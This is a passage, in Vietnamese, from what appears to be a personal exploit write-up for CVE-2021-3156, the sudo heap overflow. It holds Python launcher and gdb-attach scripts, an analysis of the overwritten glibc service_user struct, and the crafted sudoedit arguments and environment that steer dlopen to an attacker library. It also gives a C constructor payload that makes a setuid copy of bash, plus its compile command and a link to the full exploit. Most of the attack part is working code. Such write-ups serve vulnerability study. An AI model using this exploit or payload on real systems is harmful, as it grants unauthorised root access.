    "LC_CTYPE": "C.UTF-8@DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD",
    "LC_IDENTIFICATION": "C.UTF-8@qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq",
    "LC_MEASUREMENT": "C.UTF-8@hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh",
    "LC_PAPER": "C.UTF-8@hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh",
    "LC_TIME": "C.UTF-8@IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII",
    "LANG": "C.UTF-8@EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE",
    "TZ": "mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm",
    "PATH": "uuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuu",
    "SUDO_USER": "EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE",
    "SUDO_ASKPASS": "/bin/false"
  }
}

Exploitation!

Giờ mình sẽ viết 2 script để debug crash này, cũng ý tưởng như 2 scripts lúc bruteforce heap layout. 1 script chạy sudo với quyền user thường, script còn lại attach gdb với quyền root. Thanks, Claude, again.

import json, os, signal, ctypes

libc = ctypes.CDLL(None)

def p(l):
    return "0" * l

with open("fengshui/crashes/__GI___nss_lookup_function/103c71a3.json") as f:
    poc = json.load(f)
args = poc["arg"]
env  = [f"{k}={v}" for k, v in poc["env"].items()]

print(args)
print(env)

env_c = (ctypes.c_char_p * (len(env) + 1))(
    *[s.encode() for s in env], None
)
args_c = (ctypes.c_char_p * (len(args) + 1))(
    *[s.encode() for s in args], None
)

DEBUG = True

pid = os.fork()
if pid == 0:
    if DEBUG:
        os.kill(os.getpid(), signal.SIGSTOP)
    libc.execve(args[0].encode(), args_c, env_c)

with open("/tmp/pid", "w") as f:
    f.write(f"{pid}\n")

if DEBUG:
    print(f"Attach gdb: sudo python3 attach.py", flush=True)
    os.waitpid(pid, 0)

Mình break tại ngay đầu hàm nss_lookup_function(), ngay trước khi crash:

import os
import time

with open("/tmp/pid", "r") as f:
    pid = int(f.readline().strip())

cmds = '''
    handle SIGSTOP nostop nopass
    catch exec
    continue
    b *main
    continue
    b *__GI___nss_lookup_function
    continue
    continue
    continue
'''

gdb_args = ["gdb", "-q", "-iex", "source /root/pwndbg/gdbinit.py"]
for cmd in cmds.splitlines():
    cmd = cmd.strip()
    if cmd:
        gdb_args += ["-ex", cmd]
gdb_args += ["-p", str(pid)]

os.execve("/usr/bin/gdb", gdb_args, dict(os.environ))

Nhìn nhanh thì mình thấy mình overwrite data tại RDI, nghĩa là tham số đầu tiên của hàm:

Tìm đọc source code của hàm trong GLIBC https://elixir.bootlin.com/glibc/glibc-2.31/source/nss/nsswitch.c#L401, hàm nhận vào tham số đầu tiên là struct service_user ni, sau đó gọi tsearch() với tham số thứ 2 là địa chỉ của ni->known:

Vậy là mình đã ghi đè vào struct service_user này, cụ thể là ghi vào field known địa chỉ không hợp lệ, dẫn đến crash khi dereference ở hàm tsearch():

typedef struct service_user
{
  /* And the link to the next entry.  */
  struct service_user *next;
  /* Action according to result.  */
  lookup_actions actions[5];
  /* Link to the underlying library object.  */
  service_library *library;
  /* Collection of known functions.  */
  void *known;
  /* Name of the service (`files', `dns', `nis', ...).  */
  char name[0];
} service_user;

Tiếp tục, nếu thoả mãn các điều kiện kia, thì nss_load_library() được gọi, truyền vào service_user ni. Ở hàm này thấy ngay được 1 sink có vẻ nguy hiểm đó là dl_open() nhận vào shlib_name, mà shlib_name = “libnss_” + ni->name + “.so”. Nhánh này chỉ xảy ra khi ni->library->lib_handle = NULL, mà để cái này là NULL được thì ni->library cũng nên = NULL, để nss_new_service() được gọi, tạo một object mới (có thể chưa khởi tạo lib_handle):

Vậy nếu mình kiểm soát được ni->library = NULL, ni->name thì liệu mình có “open” được file tuỳ ý? Thử đọc man page của dlopen() xem nó làm gì?

Ồ, dlopen() load một .so, tên file được nhân từ tham số path. Đặc biệt là nếu path chứa forward slash, thì nó sẽ coi path là relative hoặc absolute pathname, nghĩa là nếu không có /, dlopen() sẽ tìm .so trong các folder mặc định nào đó, còn nếu có /, mình có thể kiểm soát để load tại thư mục hiện tại.

Mà load .so file thì rất có khả năng ACE, let’s go!!

Check tại thanh ghi RDI, mình hoàn toàn có khả năng kiểm soát toàn bộ struct này, và đặc biệt là name:

pwndbg> p *(service_user *)$rdi
$2 = {
  next = 0x6b6b6b6b6b6b6b6b,
  actions = {(NSS_ACTION_RETURN | NSS_ACTION_MERGE | unknown: 1802201960), (NSS_ACTION_RETURN | NSS_ACTION_MERGE | unknown: 1802201960), (NSS_ACTION_RETURN | NSS_ACTION_MERGE | unknown: 1802201960), (NSS_ACTION_RETURN | NSS_ACTION_MERGE | unknown: 1802201960), (NSS_ACTION_RETURN | NSS_ACTION_MERGE | unknown: 1802201960)},
  library = 0x6b6b6b6b6b6b6b6b,
  known = 0x6b6b6b6b6b6b6b6b,
  name = 0x55764e9d06f0 'k' <repeats 39 times>
}

Nhưng để ghi được đến name, mình phải ghi qua next, library, known, mà mình có đã leak được địa chỉ nào đâu mà ghi giá trị hợp lệ vào? Thế chỉ còn đường là ghi NULL vào bọn nó. Mà làm sao ghi null được? input của mình là null terminated mà? Vậy thì mình lợi dụng chính cái bug overflow ban đầu, lợi dụng việc nó copy null byte từ from đến to, nghĩa là mình sẽ tạo nhiều env với ký tự ‘\’.

Ơ nhưng mà mình đang ghi đè struct service_user này với ký tự k, chuỗi sau ‘\’, nếu mình cắt bớt nó để thêm ‘\’, rồi thêm các ‘\’ vào env, thì chẳng phải user_args bị ngắn lại sao? làm lệch heap layout hiện tại:

"arg": [
    "/etc/bin/sudoedit",
    "-A",
    "-s",
    "lllllllllllllllllllllllllllllllllllllllllllllllllllllll\\", "kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk"
  ],

Thế thì đổi chỗ 2 thằng nó là được :v (đơn giản vậy mà mãi mình mới nghĩ ra, haiz).

"arg": [
    "/etc/bin/sudoedit",
    "-A",
    "-s",
    "kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk",
    "lllllllllllllllllllllllllllllllllllllllllllllllllllllll\\"
  ],

Ok đổi chỗ xong rồi mình sẽ để cyclic vào env đầu tiên để xác định offset ghi null:

Sau khi thu gọn mình được mảng các env var như sau:

args = ['/etc/bin/sudoedit', '-A', '-s', p(175), p(55) + '\\']

env = [
    'X=aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaa\\',
    '\\', '\\', '\\', '\\', '\\', '\\', '\\', # next
    p(24) + '\\',
    '\\', '\\', '\\', '\\', '\\', '\\', '\\', # library
    '\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\',  # known
    'pwn/pwn', # name
    f"LC_COLLATE=C.UTF-8@{p(246)}",
    f"LC_CTYPE=C.UTF-8@{p(201)}",
    f"LC_IDENTIFICATION=C.UTF-8@{p(183)}",
    f"LC_MEASUREMENT=C.UTF-8@{p(92)}",
    f"LC_PAPER=C.UTF-8@{p(81)}",
    f"LC_TIME=C.UTF-8@{p(210)}",
    f"LANG=C.UTF-8@{p(32)}",
    f"TZ={p(215)}",
    'SUDO_ASKPASS=/bin/false'
]

May mắn là pass được hết các điều kiện để đến được dlopen():

Việc còn lại của mình là chỉ cần tạo pwn.so.2 ở thư mục libnss_pwn thôi:

#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <unistd.h>

__attribute__((constructor)) void pwn() {{
    char *args[] = {{"/bin/cp", "/bin/bash", "/tmp/bash", NULL}};

    if (fork() == 0) {{
        execve("/bin/cp", args, 0);
        exit(1);
    }}
    wait(NULL);

    chmod("/tmp/bash", 0755 | S_ISUID);
}}

Compile payload với -shared (.so) và -fPIC (bắt buộc với .so):

gcc -shared -fPIC -o libnss_pwn/pwn.so.2 /tmp/pwn.c

The finale

Cuối cùng, exploit hoàn chỉnh:

https://github.com/ngtuonghung/CVE-2021-3156/blob/main/exploit.py

Well, có thể nó khó reproduce ở môi trường khác vì cần phải bruteforce heap layout. Dù sao thì, mình đã học thêm được rất nhiều.

Demo

References

  1. https://www.youtube.com/playlist?list=PLhixgUqwRTjy0gMuT4C3bmjeZjuNQyqdx
  2. https://www.openwall.com/lists/oss-security/2021/01/26/3
  3. https://syst3mfailure.io/sudo-heap-overflow/